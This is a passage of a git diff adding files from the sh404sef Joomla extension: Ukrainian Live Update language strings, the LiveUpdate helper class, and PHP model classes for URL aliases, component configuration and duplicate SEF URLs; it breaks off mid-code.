оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "_QQ_"Оновити інформацію "_QQ_" нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." + +LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите." +LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" +LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" +LIVEUPDATE_CURRENTVERSION="Встановлена версія" +LIVEUPDATE_LATESTVERSION="Остання версія" +LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" +LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" + +LIVEUPDATE_REFRESH_INFO="Оновити інформацію" +LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" + +LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

    Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." +LIVEUPDATE_FTP="Інформація FTP" +LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" +LIVEUPDATE_FTPPASSWORD="Пароль FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" + +LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." +LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." +LIVEUPDATE_INSTALLEXT="Встановлення %s %s" +LIVEUPDATE_ERROR="Помилка" +LIVEUPDATE_SUCCESS="Успішно" + +LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" +LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" +LIVEUPDATE_ICON_CURRENT="У вас остання версія" +LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/liveupdate.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/liveupdate.php new file mode 100644 index 00000000..52f31d70 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/liveupdate.php @@ -0,0 +1,133 @@ + + * + * One-click updater for Joomla! extensions + * Copyright (C) 2011-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +defined('_JEXEC') or die(); + +require_once dirname(__FILE__).'/classes/abstractconfig.php'; +require_once dirname(__FILE__).'/config.php'; + +class LiveUpdate +{ + /** @var string The current version of Akeeba Live Update */ + public static $version = '1.1'; + + /** + * Loads the translation strings -- this is an internal function, called automatically + */ + private static function loadLanguage() + { + // Load translations + $basePath = dirname(__FILE__); + $jlang = JFactory::getLanguage(); + $jlang->load('liveupdate', $basePath, 'en-GB', true); // Load English (British) + $jlang->load('liveupdate', $basePath, $jlang->getDefault(), true); // Load the site's default language + $jlang->load('liveupdate', $basePath, null, true); // Load the currently selected language + } + + /** + * Handles requests to the "liveupdate" view which is used to display + * update information and perform the live updates + */ + public static function handleRequest() + { + // Load language strings + self::loadLanguage(); + + // Load the controller and let it run the show + require_once dirname(__FILE__).'/classes/controller.php'; + $controller = new LiveUpdateController(); + $controller->execute(JRequest::getCmd('task','overview')); + $controller->redirect(); + } + + /** + * Returns update information about your extension, based on your configuration settings + * @return stdClass + */ + public static function getUpdateInformation($force = false) + { + require_once dirname(__FILE__).'/classes/updatefetch.php'; + $update = new LiveUpdateFetch(); + $info = $update->getUpdateInformation($force); + $hasUpdates = $update->hasUpdates($force); + $info->hasUpdates = $hasUpdates; + + $config = LiveUpdateConfig::getInstance(); + $extInfo = $config->getExtensionInformation(); + + $info->extInfo = (object)$extInfo; + + return $info; + } + + public static function getIcon($config=array()) + { + // Load language strings + self::loadLanguage(); + + // Initialize the array of button options + $button = array(); + + $defaultConfig = array( + 'option' => JRequest::getCmd('option',''), + 'view' => 'liveupdate', + 'mediaurl' => JURI::base().'components/'.JRequest::getCmd('option','').'/liveupdate/assets/' + ); + $c = array_merge($defaultConfig, $config); + + $button['link'] = 'index.php?option='.$c['option'].'&view='.$c['view']; + $button['image'] = $c['mediaurl']; + + $updateInfo = self::getUpdateInformation(); + if(!$updateInfo->supported) { + // Unsupported + $button['class'] = 'liveupdate-icon-notsupported'; + $button['image'] .= 'nosupport-32.png'; + $button['text'] = JText::_('LIVEUPDATE_ICON_UNSUPPORTED'); + } elseif($updateInfo->stuck) { + // Stuck + $button['class'] = 'liveupdate-icon-crashed'; + $button['image'] .= 'nosupport-32.png'; + $button['text'] = JText::_('LIVEUPDATE_ICON_CRASHED'); + } elseif($updateInfo->hasUpdates) { + // Has updates + $button['class'] = 'liveupdate-icon-updates'; + $button['image'] .= 'update-32.png'; + $button['text'] = JText::_('LIVEUPDATE_ICON_UPDATES'); + } else { + // Already in the latest release + $button['class'] = 'liveupdate-icon-noupdates'; + $button['image'] .= 'current-32.png'; + $button['text'] = JText::_('LIVEUPDATE_ICON_CURRENT'); + } + if(version_compare(JVERSION, '2.5', 'ge')) { + return ''; + } else { + return ''; + } + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/aliases.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/aliases.php new file mode 100644 index 00000000..12ca048d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/aliases.php @@ -0,0 +1,394 @@ + $nonSefUrl)); + + // Write new aliases. + if (!empty($aliasList[0])) + { + $badChars = array("\r\n", "\n", "\r", ' '); + foreach ($aliasList as $alias) + { + // remove end of line chars + $alias = str_replace($badChars, '', $alias); + // if something left, try insert it into DB + if (!empty($alias)) + { + // first check value is not invalid + // either the alias already exists + // or same SEF url already exists + try + { + $count = ShlDbHelper::count('#__sh404sef_urls', 'id', 'oldurl = ? and newurl <> ?', array($alias, '')); + + if (empty($count)) + { + $count = ShlDbHelper::count('#__sh404sef_aliases', '*', array('alias' => $alias)); + } + } + catch (Exception $e) + { + $count = 0; + } + + // if ok, insert into db + if (empty($count)) + { + ShlDbHelper::insert('#__sh404sef_aliases', + array('newurl' => $nonSefUrl, 'alias' => $alias, 'type' => Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_ALIAS)); + } + else + { + // alias already exists either as an alias or a SEF url + $this->setError(JText::sprintf('COM_SH404SEF_ALIAS_ALREADY_EXISTS', $alias)); + } + } + } + } + + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError($e->getMessage()); + } + + // return true if no error + $error = $this->getError(); + return empty($error); + } + + /** + * Read data from model and turns it into + * a string suitable for display in a text area field + * + * @param array $options key/value pairs to restrict data selection + */ + public function getDisplayableList($options) + { + // get raw data + $rawList = $this->getList($options, $returnZeroElement = false, $forcedLimitstart = null, $forcedLimit = 5000); + + // make a simple string suitable for editing in a text area input field + $displayableList = ''; + if (!empty($rawList)) + { + foreach ($rawList as $alias) + { + $displayableList .= shUrlSafeDisplay($alias->alias) . "\n"; + } + } + + return $displayableList; + } + + /** + * Purge urls from database (and cache) + * either all automatic, or according to current + * sef url list page select options as stored in + * in session + * @param unknown_type $type + */ + public function purge($type = 'auto') + { + // make sure we use latest user state + $this->_updateContextData(); + + // call the appropriate sub-method to get the db query + $methodName = '_getPurgeQuery' . ucfirst($type); + if (is_callable(array($this, $methodName))) + { + $deleteQuery = $this->$methodName(); + } + else + { + $this->setError('Invalid method call _purge' . $type); + return; + } + + try + { + // then run the query + $this->_db->setQuery($deleteQuery); + $this->_db->execute(); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError('Internal database error # ' . $e->getMessage()); + } + + // reset limit and limitstart variables, to avoid + // issue when displaying again results + $this->_setState('limitstart', 0); + $this->_setState('limit', 0); + + } + + public function getAliasesCount($which = 'auto') + { + switch (strtolower($which)) + { + // we want to read all automatic urls (include duplicates) + case 'auto': + try + { + $numberOfUrls = ShlDbHelper::count($this->_getTableName(), '*', + array('type' => Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_ALIAS)); + } + catch (Exception $e) + { + $numberofUrls = 0; + } + break; + + // we want to read urls as per current selection input fields + // ie : component, language, custom, ... + case 'selected': + $numberOfUrls = $this->getTotal(); + break; + + default: + $numberOfUrls = 0; + break; + } + + return intval($numberOfUrls); + } + + /** + * Finds the sef url record to which an + * alias record, identified by its id, + * elongs to + * + * @param integer $aliasId + */ + public function getUrlByAliasId($aliasId) + { + $aliasId = empty($aliasId) ? 0 : intval($aliasId); + $query = 'select r.* from ' . $this->_db->quoteName('#__sh404sef_urls') . ' as r' . ' left join ' + . $this->_db->quoteName('#__sh404sef_aliases') . ' as a' . ' on a.' . $this->_db->quoteName('newurl') . ' = r.' + . $this->_db->quoteName('newurl') . ' where a.' . $this->_db->quoteName('id') . ' = ' . $this->_db->Quote($aliasId) . ' order by ' + . $this->_db->quoteName('rank'); + try + { + $this->_db->setQuery($query); + $url = $this->_db->loadObject(); + + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError('Internal database error # ' . $e->getMessage()); + } + return $url; + } + + /** + * Gets alist of current filters and sort options which have + * been applied when building up the data + * @override + * @return object the list ov values as object properties + */ + public function getDisplayOptions() + { + $options = parent::getDisplayOptions(); + + // get additional options vs base class + + // component used in url + $options->filter_component = $this->_getState('filter_component'); + // show all/only one language + $options->filter_language = $this->_getState('filter_language'); + + // return cached instance + return $options; + } + + protected function _buildListSelect($options) + { + // array to hold select clause parts + $select = array(); + + // get options + $select[] = ' select a.*, r.oldurl'; + + // add from clause + $select[] = 'from ' . $this->_getTableName() . ' as a'; + + // aggregate clauses + $select = (count($select) ? implode(' ', $select) : ''); + + return $select; + } + + protected function _buildListWhere($options) + { + // array to hold where clause parts + $where = array(); + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // only aliases, no pageid + $where[] = 'a.type = ' . $this->_db->Quote(Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_ALIAS); + + // are we reading aliases for one specific url ? + $newurl = $this->_getOption('newurl', $options); + if (!empty($newurl)) + { + $where[] = 'a.newurl = ' . $this->_db->Quote($newurl); + } + else + { + // we read them all, except possibly the home page aliases + $includeHomeData = $this->_getOption('includeHomeData', $options); + if (empty($includeHomeData)) + { + $where[] = 'a.newurl != ' . $this->_db->Quote(sh404SEF_HOMEPAGE_CODE); + } + } + + // add search all urls term if any + if (!empty($filters->search_all)) + { // V 1.2.4.q added search URL feature + jimport('joomla.utilities.string'); + $searchTerm = $this->_cleanForQuery(JString::strtolower($filters->search_all)); + $where[] = " (LOWER(a.alias) LIKE '%" . $searchTerm . "%' OR " . "LOWER(r.newurl) LIKE '%" . $searchTerm . "%')"; + } + + // components check + if (!empty($filters->filter_component)) + { + $where[] = "LOWER(a.newurl) LIKE '%option=" . $this->_cleanForQuery($filters->filter_component) . "%'"; + } + + // language check + if (!empty($filters->filter_language)) + { + $where[] = "LOWER(a.newurl) LIKE '%lang=" . $this->_cleanForQuery($filters->filter_language) . "%'"; + } + + // aggregate clauses + $where = (count($where) ? ' WHERE ' . implode(' AND ', $where) : ''); + + return $where; + } + + protected function _buildListJoin($options) + { + // array to hold join clause parts + $join = array(); + + // read also the sef url + $join[] = 'left join ' . $this->_db->quoteName('#__sh404sef_urls') . ' as r'; + $join[] = 'on r.' . $this->_db->quoteName('newurl') . ' = a.' . $this->_db->quoteName('newurl'); + + // aggregate clauses + $join = (count($join) ? ' ' . implode(' ', $join) : ''); + + return $join; + } + + protected function _buildListOrderBy($options) + { + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // build query fragment + $orderBy = ' order by ' . $filters->filter_order; + $orderBy .= ' ' . $filters->filter_order_Dir; + + return $orderBy; + } + + protected function _getTableName() + { + return '#__sh404sef_aliases'; + } + + /** + * Provides context data definition, to be used by context handler + * Should be overriden by descendant + */ + protected function _getContextDataDef() + { + $contextData = parent::_getContextDataDef(); + + // define context data to be retrieved. Cannot be done at class level, + // as some default values are dynamic + $addedContextData = array( + // redefined default sort order + array('name' => 'filter_order', 'html_name' => 'filter_order', 'default' => 'alias', 'type' => 'string') + // component used in url + , array('name' => 'filter_component', 'html_name' => 'filter_component', 'default' => '', 'type' => 'string') + // show all/only one language + , array('name' => 'filter_language', 'html_name' => 'filter_language', 'default' => '', 'type' => 'string')); + + return array_merge($contextData, $addedContextData); + } + + /** + * Delete all automatically generated url records + * from database and cache + */ + private function _getPurgeQueryAuto() + { + // delete from database + $query = 'delete from ' . $this->_db->quoteName($this->_getTableName()) . ' where type = ' + . $this->_db->Quote(Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_ALIAS); + + return $query; + } + + private function _getPurgeQuerySelected() + { + // a 2 steps process : first collect those urls id we need + // in accordance with select drop-down lists + // then combine it with a delete query + $options = null; + $query = $this->_buildListQuery($options); + + // collect only the ids + $queryIds = 'select t.id from (' . $query . ') as t'; + + // start delete query + $deleteQuery = 'delete from ' . $this->_db->quoteName($this->_getTableName()) . ' where id = any (' . $queryIds . ')'; + + return $deleteQuery; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/configuration.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/configuration.full.php new file mode 100644 index 00000000..d2e55e99 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/configuration.full.php @@ -0,0 +1,537 @@ +authorise('core.admin', 'com_sh404sef')) + { + JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); + return false; + } + + // instantiate a model from com_config + $comConfigModel = Sh404sefHelperGeneral::getComConfigComponentModel('com_sh404sef', + JPATH_ADMINISTRATOR . '/components/com_sh404sef/configuration'); + + // collect input + $app = JFactory::getApplication(); + $form = $comConfigModel->getForm(); + + // don't save version, must be read from hardcoded value in config class + if (isset($data["version"])) + { + unset($data["version"]); + } + + // Save content of error page as an article + // and remove it from data set, that will be saved in "params" + // column of #__extensions table + if (isset($data["txt404"])) + { + $this->_saveErrordocs($data["txt404"]); + unset($data["txt404"]); + } + + // Mobile parameters will be saved both in the component parameters as well as plugin parameters + if (isset($data['mobile_template']) || isset($data['mobile_switch_enabled'])) + { + // get plugins details + $plugin = JPluginHelper::getPlugin('system', 'shmobile'); + $params = new JRegistry(); + $params->loadString($plugin->params); + + // set params + if (isset($data['mobile_switch_enabled'])) + { + $params->set('mobile_switch_enabled', $data['mobile_switch_enabled']); + } + if (isset($data['mobile_template'])) + { + $params->set('mobile_template', $data['mobile_template']); + } + // save + $textParams = (string) $params; + try + { + ShlDbHelper::update('#__extensions', array('params' => $textParams), + array('element' => 'shmobile', 'folder' => 'system', 'type' => 'plugin')); + } + catch (Exception $e) + { + } + } + + // special processing for Analytics password, not displayed + // if not changed from default, use existing password + if (isset($data['analyticsPassword']) && $data['analyticsPassword'] == '********') + { + $data['analyticsPassword'] = Sh404sefFactory::getConfig()->analyticsPassword; + } + + // special processing for fields stored as arrays, but edited as strings + $fields = array('shSecOnlyNumVars', 'shSecAlphaNumVars', 'shSecNoProtocolVars', 'ipWhiteList', 'ipBlackList', 'uAgentWhiteList', + 'uAgentBlackList', 'analyticsExcludeIP'); + foreach ($fields as $field) + { + if (isset($data[$field])) + { + $data[$field] = $this->_setArrayParam($data[$field]); + } + } + + // Attempt to save the configuration. + $config = array('params' => $data, 'id' => $id, 'option' => 'com_sh404sef'); + $status = $comConfigModel->save($config); + + // store any error + if (!$status) + { + $this->setError(JText::_('COM_SH404SEF_ERR_CONFIGURATION_NOT_SAVED')); + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $comConfigModel->getError()); + } + + return $status; + } + + public function getForm() + { + // import com_config model + $comConfigModel = Sh404sefHelperGeneral::getComConfigComponentModel('com_sh404sef', + JPATH_ADMINISTRATOR . '/components/com_sh404sef/configuration'); + $form = $comConfigModel->getForm(); + $component = $comConfigModel->getComponent(); + + // version prefix + $this->joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + $method = '_getByComponentField' . $this->joomlaVersionPrefix; + // inject the by components part in the form + $field = $this->$method(); + $form->setField($field); + + // inject the languages part in the form + $method = '_getLanguagesField' . $this->joomlaVersionPrefix; + $field = $this->$method(); + $form->setField($field); + + // inject the current content of the 404 error page as default value in the txt404 form field + $currentErrorPageContent = $this->_getErrorPageContent(); + $form->setFieldAttribute('txt404', 'default', $currentErrorPageContent); + + // inject analytics group field in form + $field = $this->_getAnalyticsGroupsField(); + $form->setField($field); + + // merge categories in jooomla tab + $field = $this->_getCategoriesField(); + $form->setField($field); + + // Bind the form to the data. + if ($form && $component->params) + { + $form->bind($component->params); + } + + // make sure Analytics password is not visible in the source code of the page + $form->setValue('analyticsPassword', null, '********'); + + // special processing for various parameters: turn string into an array + // security + $form->setValue('shSecOnlyNumVars', null, implode("\n", $form->getValue('shSecOnlyNumVars', null, array()))); + $form->setValue('shSecAlphaNumVars', null, implode("\n", $form->getValue('shSecAlphaNumVars', null, array()))); + $form->setValue('shSecNoProtocolVars', null, implode("\n", $form->getValue('shSecNoProtocolVars', null, array()))); + $form->setValue('ipWhiteList', null, implode("\n", $form->getValue('ipWhiteList', null, array()))); + $form->setValue('ipBlackList', null, implode("\n", $form->getValue('ipBlackList', null, array()))); + $form->setValue('uAgentWhiteList', null, implode("\n", $form->getValue('uAgentWhiteList', null, array()))); + $form->setValue('uAgentBlackList', null, implode("\n", $form->getValue('uAgentBlackList', null, array()))); + // analytics + $form->setValue('analyticsExcludeIP', null, implode("\n", $form->getValue('analyticsExcludeIP', null, array()))); + + // read mobile params from the mobile plugin, not from the component config, which only has a copy + $plugin = JPluginHelper::getPlugin('system', 'shmobile'); + $params = new JRegistry(); + $params->loadString($plugin->params); + $form->setValue('mobile_switch_enabled', null, $params->get('mobile_switch_enabled', 0)); + $form->setValue('mobile_template', null, $params->get('mobile_template', '')); + + // inject a link to shLib plugin params for cache settings + $form + ->setFieldAttribute('UrlCacheHandler', 'additionaltext', + '' + . JText::_('COM_SH404SEF_CONFIGURE_SHLIB_PLUGIN') . ''); + return $form; + } + + /** + * Set values in configuration record in database + * Optionally update current in memory configuration object + * + * @param array $values + * @param boolean $reset if true, config object in memory will be reset to new values + * @return boolean + */ + public function setValues($values = array(), $reset = false) + { + + if (empty($values)) + { + return true; + } + + jimport('joomla.application.component.helper'); + $component = JComponentHelper::getComponent('com_sh404sef'); + $params = new JRegistry(); + $params->loadString($component->params); + + // set values + foreach ($values as $key => $value) + { + $params->set($key, $value); + } + + // convert to json and store into db + $textParams = $params->toString(); + try + { + ShlDbHelper::update('#__extensions', array('params' => $textParams), array('element' => 'com_sh404sef', 'type' => 'component')); + if ($reset) + { + $config = Sh404sefFactory::getConfig($reset = true); + } + $status = true; + } + catch (Exception $e) + { + $status = false; + } + + return $status; + + } + + /** + * Push current error documents content + * values into the view for edition + * this is a altered version of the same + * method in the old config view. + */ + private function _getErrorPageContent() + { + // find about sh404sef custom content category id + $sh404sefContentCatId = Sh404sefHelperCategories::getSh404sefContentCat()->id; + + try + { + // read current content of 404 page in default language + $article = ShlDbHelper::selectAssoc('#__content', array('id', 'introtext'), + array('title' => '__404__', 'catid' => $sh404sefContentCatId, 'language' => '*')); + $txt404 = empty($article['introtext']) ? JText::_('COM_SH404SEF_DEF_404_MSG') : $article['introtext']; + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $txt404 = JText::_('COM_SH404SEF_DEF_404_MSG'); + } + + // push params in to view + return $txt404; + } + + /* + * Creates the By component dynamic form field + */ + private function _getByComponentFieldJ3() + { + $installedComponents = Sh404sefHelperGeneral::getComponentsList(); + $xml = ''; + + $xml .= '
    '; + foreach ($installedComponents as $name => $properties) + { + $xml .= ''; + $xml .= ''; + $xml .= ' + + + '; + $xml .= ''; + + $xml .= ''; + $xml .= ' + + + '; + $xml .= ''; + + $xml .= ''; + $xml .= ' + '; + $xml .= ''; + + $xml .= ''; + } + + $xml .= '
    '; + + $element = new SimpleXMLElement($xml); + + return $element; + } + + private function _getByComponentFieldJ2() + { + $installedComponents = Sh404sefHelperGeneral::getComponentsList(); + $xml = ''; + + $xml .= '
    '; + $xml .= ' + + + '; + foreach ($installedComponents as $name => $properties) + { + $xml .= ''; + $xml .= ' + + + '; + $xml .= ''; + + $xml .= ''; + $xml .= ' + + + '; + $xml .= ''; + + $xml .= ''; + $xml .= ' + '; + $xml .= ''; + + $xml .= ''; + } + + $xml .= '
    '; + + $element = new SimpleXMLElement($xml); + + return $element; + } + + /* + * Creates the Languages dynamic form field + */ + private function _getLanguagesFieldJ3() + { + + $activeLanguages = shGetActiveLanguages(); + + $xml = ''; + $xml .= '
    + + '; + foreach ($activeLanguages as $language) + { + $xml .= ' + '; + } + $xml .= '
    '; + + $element = new SimpleXMLElement($xml); + + return $element; + } + + private function _getLanguagesFieldJ2() + { + $activeLanguages = shGetActiveLanguages(); + + $xml = ''; + $xml .= '
    + + '; + foreach ($activeLanguages as $language) + { + $xml .= ' + '; + } + $xml .= '
    '; + $element = new SimpleXMLElement($xml); + return $element; + } + + /* + * Creates the Analytics groups dynamic field + */ + private function _getAnalyticsGroupsField() + { + $usergroups = JHtml::_('user.groups', $includeSuperAdmin = true); + $xml = ''; + $xml .= '
    '; + $xml .= ''; + foreach ($usergroups as $usergroup) + { + $t = htmlspecialchars($usergroup->text, ENT_COMPAT, 'UTF-8'); + $xml .= ''; + } + $xml .= '
    '; + $element = new SimpleXMLElement($xml); + return $element; + } + + private function _getCategoriesField() + { + $catListOptions = JHtml::_('category.options', 'com_content'); + $options = ''; + foreach ($catListOptions as $cat) + { + // need to apply htmlspecialchars twice, as SimpleXMLElement does an + // htmlentitydecode in the constructor, which then causes + // an error downstream when this data is injected in the form + $t = htmlspecialchars($cat->text, ENT_COMPAT, 'UTF-8'); + $options .= ''; + } + $xml = ''; + $xml .= '
    '; + $xml .= ''; + $xml .= ''; + $xml .= $options; + $xml .= ''; + $xml .= ''; + $xml .= ''; + $xml .= $options; + $xml .= ''; + $xml .= '
    '; + $element = new SimpleXMLElement($xml); + return $element; + } + + /** + * Prepare saving of Error documents configuration options set + */ + private function _saveErrordocs($errorPagecontent) + { + // update 404 error page + $quoteGPC = get_magic_quotes_gpc(); + $shIntroText = empty($_POST) ? '' : ($quoteGPC ? stripslashes($errorPagecontent) : $errorPagecontent); + try + { + // is there already a 404 page article? + $id = ShlDbHelper::selectResult('#__content', 'id', + array('title' => '__404__', 'catid' => Sh404sefHelperCategories::getSh404sefContentCat()->id, 'language' => '*')); + + if (!empty($id)) + { + // yes, update it + ShlDbHelper::update('#__content', array('introtext' => $shIntroText, 'modified' => date("Y-m-d H:i:s")), array('id' => $id)); + } + else + { + $catid = Sh404sefHelperCategories::getSh404sefContentCat()->id; + if (empty($catid)) + { + $this->setError(JText::_('COM_SH404SEF_CANNOT_SAVE_404_NO_UNCAT')); + return; + } + $contentTable = JTable::getInstance('content'); + $content = array('title' => '__404__', 'alias' => '__404__', 'title_alias' => '__404__', 'introtext' => $shIntroText, 'state' => 1, + 'catid' => $catid, + 'attribs' => '{"menu_image":"-1","show_title":"0","show_section":"0","show_category":"0","show_vote":"0","show_author":"0","show_create_date":"0","show_modify_date":"0","show_pdf_icon":"0","show_print_icon":"0","show_email_icon":"0","pageclass_sfx":""', + 'language' => '*'); + + $saved = $contentTable->save($content); + if (!$saved) + { + $this->setError($contentTable->getError()); + } + + } + } + catch (Exception $e) + { + $this->setError($e->getMEssage()); + } + } + + /** + * Turns a value entered by user as a string + * into an array, suitable for storage + * + * @param string $value input from user + */ + private function _setArrayParam($value) + { + $array = array(); + if (!empty($value)) + { + $array = explode("\n", $value); + foreach ($array as $k => $v) + { + $array[$k] = JString::trim($v); + } + } + if (!empty($array)) + { + $array = array_filter($array); + } + + return $array; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/configuration.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/configuration.php new file mode 100644 index 00000000..7784bfcd --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/configuration.php @@ -0,0 +1,16 @@ +_updateContextData(); + + // Lets load the content if it doesn't already exist + if (is_null($this->_data)) { + + // do we have a cid ? if not, nothing we can do + $sefId = intval( $this->getState( 'sefId')); + if (!empty( $sefId)) { + $this->_sefUrl = $this->getById( $sefId); + if (!empty( $this->_sefUrl)) { + $query = $this->_buildListQuery( $options); + $this->_data = $this->_getList( $query); + } + } + } + + if ($returnZeroElement && empty( $this->_data)) { + // create an empty record and return it + $zeroObject = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + return array( $zeroObject); + } + + return $this->_data; + } + + /** + * Get details of the currently registered + * main url for which we handle duplicates + */ + public function getMainUrl() { + return $this->_sefUrl; + } + + /** + * Make the url with id = $cid the main url + * in case of duplicates. Also set the previous + * main url as secondary, swapping their rank + * + * @param integer $cid + */ + public function makeMainUrl($cid) { + + // get this url record + $newMain = $this->getById( $cid); + $error = $this->getError(); + if (!empty( $error)) { + return; + } + + // is this already the main url ? + if ($newMain->rank == 0) { + return; + } + + // now get the current main url + $options = array( 'rank' => 0, 'oldurl' => $newMain->oldurl); + $previousMains = $this->getByAttr( $options); + + try { + + // if we got it, do the swapping + if (!empty( $previousMains)) { + foreach( $previousMains as $previousMain) { + ShlDbHelper::update( $this->_getTableName(), array('rank' => $newMain->rank), array( 'id' => $previousMain->id)); + + // another thing we have to do is attach any meta data to the new + // main url, so that they keep showing. Meta data are attached to + // a NON-sef url, which has the benefit of keeping the attachement + // whenever sef url creations are modified and sef urls recreated + // but require a bit more work in that case + ShlDbHelper::update( '#__sh404sef_metas', array('newurl' => $newMain->newurl), array( 'newurl' => $previousMain->newurl)); + + } + } + + // finally make it the main url + ShlDbHelper::update( $this->_getTableName(), array('rank' => 0), array( 'id' => $newMain->id)); + + } catch (Exception $e) { + $this->setError( 'Internal database error # ' . $e->getMessage()); + } + + } + + + /** + * Gets alist of current filters and sort options which have + * been applied when building up the data + * @override + * @return object the list ov values as object properties + */ + public function getDisplayOptions() { + + $options = parent::getDisplayOptions(); + + // get additional options vs base class + + // component used in url + $options->filter_component = $this->_getState( 'filter_component'); + // show all/only with aliases/only w/o aliases + $options->filter_alias = $this->_getState( 'filter_alias'); + // show all/only custom/only automatic + $options->filter_url_type = $this->_getState( 'filter_url_type'); + // show all/only one language + $options->filter_language = $this->_getState( 'filter_language'); + + // return cached instance + return $options; + } + + protected function _buildListSelect( $options) { + + // array to hold select clause parts + $select = array(); + + // get the layout option from params + $layout = $this->_getOption( 'layout', $options); + switch ($layout) { + default: + $select[] = ' select u1.*, pg.pageid as pageid, count(a.`alias`) as aliases'; + break; + } + + // add from clause + $select[] = 'from ' . $this->_getTableName() . ' as u1'; + + // aggregate clauses + $select = ( count( $select ) ? implode( ' ', $select ) : '' ); + + return $select; + } + + protected function _buildListJoin( $options) { + + // array to hold join clause parts + $join = array(); + + // count aliases + $join[] = 'left join ' . $this->_db->quoteName( '#__sh404sef_aliases') . ' as a'; + $join[] = 'on a.' . $this->_db->quoteName('newurl') . ' = u1.' . $this->_db->quoteName('newurl'); + + // get page ids + $join[] = 'left join ' . $this->_db->quoteName( '#__sh404sef_pageids') . ' as pg'; + $join[] = 'on pg.' . $this->_db->quoteName('newurl') . ' = u1.' . $this->_db->quoteName('newurl'); + + // aggregate clauses + $join = ( count( $join ) ? ' ' . implode( ' ', $join ) 